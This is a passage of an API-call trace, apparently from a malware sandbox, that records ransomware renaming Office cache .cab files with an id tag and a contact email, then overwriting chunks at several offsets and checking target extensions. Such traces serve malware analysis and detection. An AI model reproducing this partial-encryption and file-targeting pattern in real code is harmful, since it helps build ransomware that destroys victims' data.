[0043.156] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiolr.cab.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0043.156] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiolr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiolr.cab.id-9c354b42.[zanzibar65@mail.fr].html")) returned 1 [0043.157] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiolr.cab.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0043.157] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affc6c | out: lpNewFilePointer=0x0) returned 1 [0043.157] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affc2c | out: lpNewFilePointer=0x0) returned 1 [0043.157] ReadFile (in: hFile=0x1f8, lpBuffer=0x3610058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2affc38, lpOverlapped=0x0 | out: lpBuffer=0x3610058*, lpNumberOfBytesRead=0x2affc38*=0x40000, lpOverlapped=0x0) returned 1 [0043.174] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x1028049, lpNewFilePointer=0x0, dwMoveMethod=0x2affc2c | out: lpNewFilePointer=0x0) returned 1 [0043.174] ReadFile (in: hFile=0x1f8, lpBuffer=0x3650058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2affc38, lpOverlapped=0x0 | out: lpBuffer=0x3650058*, lpNumberOfBytesRead=0x2affc38*=0x40000, lpOverlapped=0x0) returned 1 [0043.177] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2affc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0043.177] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x30380dd, lpNewFilePointer=0x0, dwMoveMethod=0x2affc2c | out: lpNewFilePointer=0x0) returned 1 [0043.177] ReadFile (in: hFile=0x1f8, lpBuffer=0x3690058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2affc38, lpOverlapped=0x0 | out: lpBuffer=0x3690058*, lpNumberOfBytesRead=0x2affc38*=0x40000, lpOverlapped=0x0) returned 1 [0043.191] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affec8 | out: lpNewFilePointer=0x0) returned 1 [0043.191] WriteFile (in: hFile=0x1f8, lpBuffer=0x3610020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x2affcb0, lpOverlapped=0x0 | out: lpBuffer=0x3610020*, lpNumberOfBytesWritten=0x2affcb0*=0xc0102, lpOverlapped=0x0) returned 1 [0043.410] SetEndOfFile (hFile=0x1f8) returned 1 [0043.410] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x40000) returned 0x3f8cbd8 [0043.410] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affc7c | out: lpNewFilePointer=0x0) returned 1 [0043.410] WriteFile (in: hFile=0x1f8, lpBuffer=0x3f8cbd8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2affc88, lpOverlapped=0x0 | out: lpBuffer=0x3f8cbd8*, lpNumberOfBytesWritten=0x2affc88*=0x40000, lpOverlapped=0x0) returned 1 [0043.411] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x1028049, lpNewFilePointer=0x0, dwMoveMethod=0x2affc7c | out: lpNewFilePointer=0x0) returned 1 [0043.411] WriteFile (in: hFile=0x1f8, lpBuffer=0x3f8cbd8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2affc88, lpOverlapped=0x0 | out: lpBuffer=0x3f8cbd8*, lpNumberOfBytesWritten=0x2affc88*=0x40000, lpOverlapped=0x0) returned 1 [0043.412] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x30380dd, lpNewFilePointer=0x0, dwMoveMethod=0x2affc7c | out: lpNewFilePointer=0x0) returned 1 [0043.412] WriteFile (in: hFile=0x1f8, lpBuffer=0x3f8cbd8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2affc88, lpOverlapped=0x0 | out: lpBuffer=0x3f8cbd8*, lpNumberOfBytesWritten=0x2affc88*=0x40000, lpOverlapped=0x0) returned 1 [0043.414] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x3f8cbd8 | out: hHeap=0x220000) returned 1 [0043.414] CloseHandle (hObject=0x1f8) returned 1 [0043.414] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x2020) returned 1 [0043.414] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0043.414] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0043.414] lstrlenW (lpString=".doc") returned 4 [0043.414] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0043.414] lstrlenW (lpString=".docx") returned 5 [0043.415] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0043.415] lstrlenW (lpString=".pdf") returned 4 [0043.415] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0043.415] lstrlenW (lpString=".xls") returned 4 [0043.415] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0043.415] lstrlenW (lpString=".xlsx") returned 5 [0043.415] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0043.415] lstrlenW (lpString=".ppt") returned 4 [0043.415] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0043.415] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0043.415] lstrlenW (lpString=".zip") returned 4 [0043.415] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0043.415] lstrlenW (lpString=".rar") returned 4 [0043.415] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0043.415] lstrlenW (lpString=".bz2") returned 4 [0043.415] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0043.415] lstrlenW (lpString=".7z") returned 3 [0043.415] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0043.415] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0043.415] lstrlenW (lpString=".dbf") returned 4 [0043.415] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0043.415] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0043.415] lstrlenW (lpString=".1cd") returned 4 [0043.415] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0043.415] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0043.415] lstrlenW (lpString=".jpg") returned 4 [0043.415] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0043.415] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0043.415] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0043.415] lstrlenW (lpString=".doc") returned 4 [0043.415] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0043.415] lstrlenW (lpString=".docx") returned 5 [0043.416] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0043.416] lstrlenW (lpString=".pdf") returned 4 [0043.416] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0043.416] lstrlenW (lpString=".xls") returned 4 [0043.416] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0043.416] lstrlenW (lpString=".xlsx") returned 5 [0043.416] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0043.416] lstrlenW (lpString=".ppt") returned 4 [0043.416] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0043.416] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0043.416] lstrlenW (lpString=".zip") returned 4 [0043.416] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0043.416] lstrlenW (lpString=".rar") returned 4 [0043.416] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0043.416] lstrlenW (lpString=".bz2") returned 4 [0043.416] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0043.416] lstrlenW (lpString=".7z") returned 3 [0043.416] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0043.416] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0043.416] lstrlenW (lpString=".dbf") returned 4 [0043.416] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0043.416] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0043.416] lstrlenW (lpString=".1cd") returned 4 [0043.416] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0043.416] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0043.416] lstrlenW (lpString=".jpg") returned 4 [0043.416] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0043.416] lstrcmpiW (lpString1=".cab", lpString2=".html") returned -1 [0043.416] lstrlenW (lpString="OnoteLR.cab") returned 11 [0043.417] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onotelr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0043.417] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2afff1c | out: lpFileSize=0x2afff1c*=17456632) returned 1 [0043.417] CloseHandle (hObject=0x1f8) returned 1 [0043.417] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onotelr.cab")) returned 0x2020 [0043.417] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onotelr.cab.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0043.417] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onotelr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onotelr.cab.id-9c354b42.[zanzibar65@mail.fr].html")) returned 1 [0043.417] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onotelr.cab.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0043.418] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affc6c | out: lpNewFilePointer=0x0) returned 1 [0043.418] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affc2c | out: lpNewFilePointer=0x0) returned 1 [0043.418] ReadFile (in: hFile=0x1f8, lpBuffer=0x3610058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2affc38, lpOverlapped=0x0 | out: lpBuffer=0x3610058*, lpNumberOfBytesRead=0x2affc38*=0x40000, lpOverlapped=0x0) returned 1 [0043.423] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x58c9fd, lpNewFilePointer=0x0, dwMoveMethod=0x2affc2c | out: lpNewFilePointer=0x0) returned 1 [0043.424] ReadFile (in: hFile=0x1f8, lpBuffer=0x3650058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2affc38, lpOverlapped=0x0 | out: lpBuffer=0x3650058*, lpNumberOfBytesRead=0x2affc38*=0x40000, lpOverlapped=0x0) returned 1 [0043.435] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2affc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0043.435] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x1065df8, lpNewFilePointer=0x0, dwMoveMethod=0x2affc2c | out: lpNewFilePointer=0x0) returned 1 [0043.435] ReadFile (in: hFile=0x1f8, lpBuffer=0x3690058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2affc38, lpOverlapped=0x0 | out: lpBuffer=0x3690058*, lpNumberOfBytesRead=0x2affc38*=0x40000, lpOverlapped=0x0) returned 1 [0043.451] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affec8 | out: lpNewFilePointer=0x0) returned 1 [0043.451] WriteFile (in: hFile=0x1f8, lpBuffer=0x3610020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x2affcb0, lpOverlapped=0x0 | out: lpBuffer=0x3610020*, lpNumberOfBytesWritten=0x2affcb0*=0xc0102, lpOverlapped=0x0) returned 1 [0043.800] SetEndOfFile (hFile=0x1f8) returned 1 [0043.800] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x40000) returned 0x3f8cbd8 [0043.800] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affc7c | out: lpNewFilePointer=0x0) returned 1 [0043.800] WriteFile (in: hFile=0x1f8, lpBuffer=0x3f8cbd8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2affc88, lpOverlapped=0x0 | out: lpBuffer=0x3f8cbd8*, lpNumberOfBytesWritten=0x2affc88*=0x40000, lpOverlapped=0x0) returned 1 [0043.801] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x58c9fd, lpNewFilePointer=0x0, dwMoveMethod=0x2affc7c | out: lpNewFilePointer=0x0) returned 1 [0043.801] WriteFile (in: hFile=0x1f8, lpBuffer=0x3f8cbd8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2affc88, lpOverlapped=0x0 | out: lpBuffer=0x3f8cbd8*, lpNumberOfBytesWritten=0x2affc88*=0x40000, lpOverlapped=0x0) returned 1 [0043.802] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x1065df8, lpNewFilePointer=0x0, dwMoveMethod=0x2affc7c | out: lpNewFilePointer=0x0) returned 1 [0043.802] WriteFile (in: hFile=0x1f8, lpBuffer=0x3f8cbd8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2affc88, lpOverlapped=0x0 | out: lpBuffer=0x3f8cbd8*, lpNumberOfBytesWritten=0x2affc88*=0x40000, lpOverlapped=0x0) returned 1 [0043.804] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x3f8cbd8 | out: hHeap=0x220000) returned 1 [0043.804] CloseHandle (hObject=0x1f8) returned 1 [0043.804] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x2020) returned 1 [0043.804] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0043.804] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0043.804] lstrlenW (lpString=".doc") returned 4 [0043.804] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0043.804] lstrlenW (lpString=".docx") returned 5 [0043.804] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0043.804] lstrlenW (lpString=".pdf") returned 4 [0043.804] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0043.804] lstrlenW (lpString=".xls") returned 4 [0043.804] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0043.804] lstrlenW (lpString=".xlsx") returned 5 [0043.804] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0043.804] lstrlenW (lpString=".ppt") returned 4 [0043.804] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0043.805] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0043.805] lstrlenW (lpString=".zip") returned 4 [0043.805] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0043.805] lstrlenW (lpString=".rar") returned 4 [0043.805] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0043.805] lstrlenW (lpString=".bz2") returned 4 [0043.805] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0043.805] lstrlenW (lpString=".7z") returned 3 [0043.805] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0043.805] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0043.805] lstrlenW (lpString=".dbf") returned 4 [0043.805] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0043.805] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0043.805] lstrlenW (lpString=".1cd") returned 4 [0043.805] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0043.805] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0043.805] lstrlenW (lpString=".jpg") returned 4 [0043.805] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0043.805] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0043.805] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0043.805] lstrlenW (lpString=".doc") returned 4 [0043.805] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0043.805] lstrlenW (lpString=".docx") returned 5 [0043.805] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0043.805] lstrlenW (lpString=".pdf") returned 4 [0043.805] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0043.805] lstrlenW (lpString=".xls") returned 4 [0043.805] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0043.805] lstrlenW (lpString=".xlsx") returned 5 [0043.805] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0043.805] lstrlenW (lpString=".ppt") returned 4 [0043.805] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0043.805] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0043.806] lstrlenW (lpString=".zip") returned 4 [0043.806] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0043.806] lstrlenW (lpString=".rar") returned 4 [0043.806] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0043.806] lstrlenW (lpString=".bz2") returned 4 [0043.806] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0043.806] lstrlenW (lpString=".7z") returned 3 [0043.806] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0043.806] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0043.806] lstrlenW (lpString=".dbf") returned 4 [0043.806] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0043.806] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0043.806] lstrlenW (lpString=".1cd") returned 4 [0043.806] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0043.806] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0043.806] lstrlenW (lpString=".jpg") returned 4 [0043.806] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0043.806] lstrcmpiW (lpString1=".cab", lpString2=".html") returned -1 [0043.806] lstrlenW (lpString="ProjLR.cab") returned 10 [0043.806] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projlr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0043.876] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2afff1c | out: lpFileSize=0x2afff1c*=8265165) returned 1 [0043.908] CloseHandle (hObject=0x200) returned 1 [0043.909] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projlr.cab")) returned 0x2020 [0043.909] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projlr.cab.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0043.909] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projlr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projlr.cab.id-9c354b42.[zanzibar65@mail.fr].html")) returned 1 [0043.909] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projlr.cab.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0043.909] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affc6c | out: lpNewFilePointer=0x0) returned 1 [0043.909] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affc2c | out: lpNewFilePointer=0x0) returned 1 [0043.909] ReadFile (in: hFile=0x200, lpBuffer=0x3610058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2affc38, lpOverlapped=0x0 | out: lpBuffer=0x3610058*, lpNumberOfBytesRead=0x2affc38*=0x40000, lpOverlapped=0x0) returned 1 [0043.932] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x2a09ef, lpNewFilePointer=0x0, dwMoveMethod=0x2affc2c | out: lpNewFilePointer=0x0) returned 1 [0043.932] ReadFile (in: hFile=0x200, lpBuffer=0x3650058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2affc38, lpOverlapped=0x0 | out: lpBuffer=0x3650058*, lpNumberOfBytesRead=0x2affc38*=0x40000, lpOverlapped=0x0) returned 1 [0044.033] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2affc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0044.033] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x7a1dcd, lpNewFilePointer=0x0, dwMoveMethod=0x2affc2c | out: lpNewFilePointer=0x0) returned 1 [0044.034] ReadFile (in: hFile=0x200, lpBuffer=0x3690058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2affc38, lpOverlapped=0x0 | out: lpBuffer=0x3690058*, lpNumberOfBytesRead=0x2affc38*=0x40000, lpOverlapped=0x0) returned 1 [0044.048] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affec8 | out: lpNewFilePointer=0x0) returned 1 [0044.048] WriteFile (in: hFile=0x200, lpBuffer=0x3610020*, nNumberOfBytesToWrite=0xc0100, lpNumberOfBytesWritten=0x2affcb0, lpOverlapped=0x0 | out: lpBuffer=0x3610020*, lpNumberOfBytesWritten=0x2affcb0*=0xc0100, lpOverlapped=0x0) returned 1 [0044.423] SetEndOfFile (hFile=0x200) returned 1 [0044.423] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x40000) returned 0x3eb3070 [0044.424] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affc7c | out: lpNewFilePointer=0x0) returned 1 [0044.424] WriteFile (in: hFile=0x200, lpBuffer=0x3eb3070*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2affc88, lpOverlapped=0x0 | out: lpBuffer=0x3eb3070*, lpNumberOfBytesWritten=0x2affc88*=0x40000, lpOverlapped=0x0) returned 1 [0044.425] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x2a09ef, lpNewFilePointer=0x0, dwMoveMethod=0x2affc7c | out: lpNewFilePointer=0x0) returned 1 [0044.425] WriteFile (in: hFile=0x200, lpBuffer=0x3eb3070*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2affc88, lpOverlapped=0x0 | out: lpBuffer=0x3eb3070*, lpNumberOfBytesWritten=0x2affc88*=0x40000, lpOverlapped=0x0) returned 1 [0044.427] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x7a1dcd, lpNewFilePointer=0x0, dwMoveMethod=0x2affc7c | out: lpNewFilePointer=0x0) returned 1 [0044.427] WriteFile (in: hFile=0x200, lpBuffer=0x3eb3070*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2affc88, lpOverlapped=0x0 | out: lpBuffer=0x3eb3070*, lpNumberOfBytesWritten=0x2affc88*=0x40000, lpOverlapped=0x0) returned 1 [0044.429] HeapFree (in: hHeap=0x220000, dwFlags=0x0, 